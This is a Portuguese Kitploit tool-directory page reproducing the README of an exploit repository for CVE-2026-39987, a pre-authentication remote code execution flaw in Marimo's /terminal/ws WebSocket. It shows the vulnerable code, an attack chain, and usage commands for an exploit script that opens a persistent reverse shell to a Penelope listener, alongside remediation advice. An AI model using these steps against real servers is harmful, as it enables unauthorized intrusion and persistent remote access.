Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-39987 — Exploração do Marimo anterior à versão 0.23.0. Vulnerabilidade de RCE pré-autenticação através do endpoint websocket: /terminal/ws. | Kitploit
Ferramentas/GitHubGitHub/gbuyssens/cve-2026-39987
Geração de PayloadsExploraçãoExploração de Aplicações WebPós-ExploraçãoTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubgbuyssens/cve-2026-39987

CVE-2026-39987

Exploração do Marimo anterior à versão 0.23.0. Vulnerabilidade de RCE pré-autenticação através do endpoint websocket: /terminal/ws.

Ver Repositório
13há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-39987 — RCE Pré-Autenticação no Marimo (/terminal/ws)

CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE      : CWE-306 (Missing Authentication for Critical Function)
Fix      : Marimo 0.23.0+
Affects  : Marimo <= 0.20.4 (all builds prior to the auth fix)

Execução Remota de Código sem autenticação prévia no Marimo, um servidor de notebooks Python reativo.
Uma única conexão WebSocket não autenticada para /terminal/ws gera um shell PTY interativo completo como o usuário que executa o processo do Marimo (frequentemente root em Docker).

Somente para laboratório / testes autorizados (HTB, CTF, engajamento com escopo definido por escrito).


Sumário

  • Resumo da vulnerabilidade
  • Causa raiz
  • Cadeia de ataque
  • Versões afetadas
  • Este repositório
  • Instalação
  • Uso
  • Integração com Penelope
  • Remediação
  • Referências

Resumo da vulnerabilidade

O Marimo expõe um terminal integrado via WebSocket em:

ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws

Outras rotas WebSocket (notadamente /ws para a interface do notebook) chamam corretamente validate_auth().
/terminal/ws não. Ela apenas verifica:

  1. o servidor está no modo edit (edição)
  2. a plataforma suporta um PTY

e então imediatamente:

await websocket.accept()
child_pid, fd = pty.fork()   # full system shell

Nenhum cookie, token, senha ou cabeçalho Authorization é exigido — mesmo quando a autenticação está habilitada na instância.

Impacto: execução arbitrária de comandos sem autenticação com os privilégios do processo do Marimo. Nas imagens de contêiner padrão, isso é frequentemente root.


Causa raiz

Arquivo (árvore vulnerável): marimo/_server/api/endpoints/terminal.py

@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # <<< no validate_auth() / @requires("edit") >>>
    await websocket.accept()
    child_pid, fd = pty.fork()
    # ... bridge WebSocket <-> PTY ...

Compare com o WebSocket do notebook (ws_endpoint.py), que aplica a autenticação:

validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
    return

Cadeia de ataque

 Attacker                         Marimo (edit mode)
    |                                    |
    |  WS upgrade /terminal/ws           |
    |----------------------------------->|
    |  101 Switching Protocols           |
    |  (no auth challenge)               |
    |<-----------------------------------|
    |                                    |  pty.fork() → /bin/bash
    |  "id\n"                            |
    |----------------------------------->|
    |  uid=1000(marimo) ...              |
    |<-----------------------------------|
    |  persistent reverse shell          |
    |----------------------------------->|
    |         <======== TCP shell =======|
  1. Conecte-se a ws(s)://target/terminal/ws sem credenciais
  2. O servidor aceita e cria um shell suportado por PTY
  3. Envie teclas (comandos) pelo WebSocket
  4. Opcionalmente, abra um shell reverso destacado (detached) que sobrevive ao encerramento do WS

Versões afetadas

StatusVersões
VulnerávelMarimo <= 0.20.4 (pré-correção)
CorrigidoMarimo 0.23.0 e posteriores

Qualquer implantação que exponha o WebSocket do terminal (modo de edição, com suporte a PTY) sem um gateway de autenticação externo está no escopo.


Este repositório

ArquivoFunção
exploit.pyPoC: execução de comandos + shell reverso persistente + lançador do Penelope
penelope.pyManipulador de shell autônomo (standalone) (brightio/penelope)
README.mdEste arquivo

Instalação

git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py

O penelope.py não precisa de dependências extras (biblioteca padrão do Python 3.6+).


Uso

1. Execução de um único comando

python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab  -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"

O que acontece:

  1. Um processo filho (forked child) aguarda brevemente e então entrega um shell reverso destacado (detached) via /terminal/ws
  2. O processo pai executa o Penelope (exec) em 0.0.0.0:4444
  3. Quando o callback chega, o Penelope se anexa automaticamente e faz upgrade da sessão

Se necessário

python3 exploit.py -h

Integração com Penelope

O Penelope é fornecido como um script autônomo (standalone) (penelope.py):

  • sem instalação, apenas stdlib
  • manipulador de múltiplas sessões
  • upgrade automático de TTY
  • upload/download de arquivos, logging, etc.

Fluxo padrão (-p):

exploit.py
   ├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
   │
   └── exec ► penelope.py <PORT> -i 0.0.0.0
                    ▲
                    │ TCP callback
                    └── victim

O processo filho é usado de propósito: os.execv(penelope) substitui a imagem do processo pai, o que mataria a thread em segundo plano.

Penelope manual:

python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a          # show sample payloads for active listeners

Remediação

  1. Atualize para o Marimo >= 0.23.0 (pip install -U marimo)
  2. Não exponha servidores de notebook em modo de edição na internet pública
  3. Coloque autenticação/autorização (authn/authz) em um proxy reverso se o aplicativo precisar ser remoto
  4. Faça bind em localhost / rede privada; use VPN ou túneis SSH
  5. Após suspeita de exploração: rotacione as credenciais acessíveis a partir do host (chaves da nuvem, .env, chaves SSH), audite conexões de saída e persistência

Referências

  • NVD — CVE-2026-39987
  • GHSA-2679-6mx9-h9xc
  • Correção do Marimo — PR #9098
  • Análise da Resecurity
  • Manipulador de shell Penelope

Aviso legal

Este projeto é apenas para testes de segurança autorizados, educação e pesquisa defensiva.
Você é responsável por cumprir as leis aplicáveis e as regras de engajamento do seu laboratório ou cliente.

Baixar ferramenta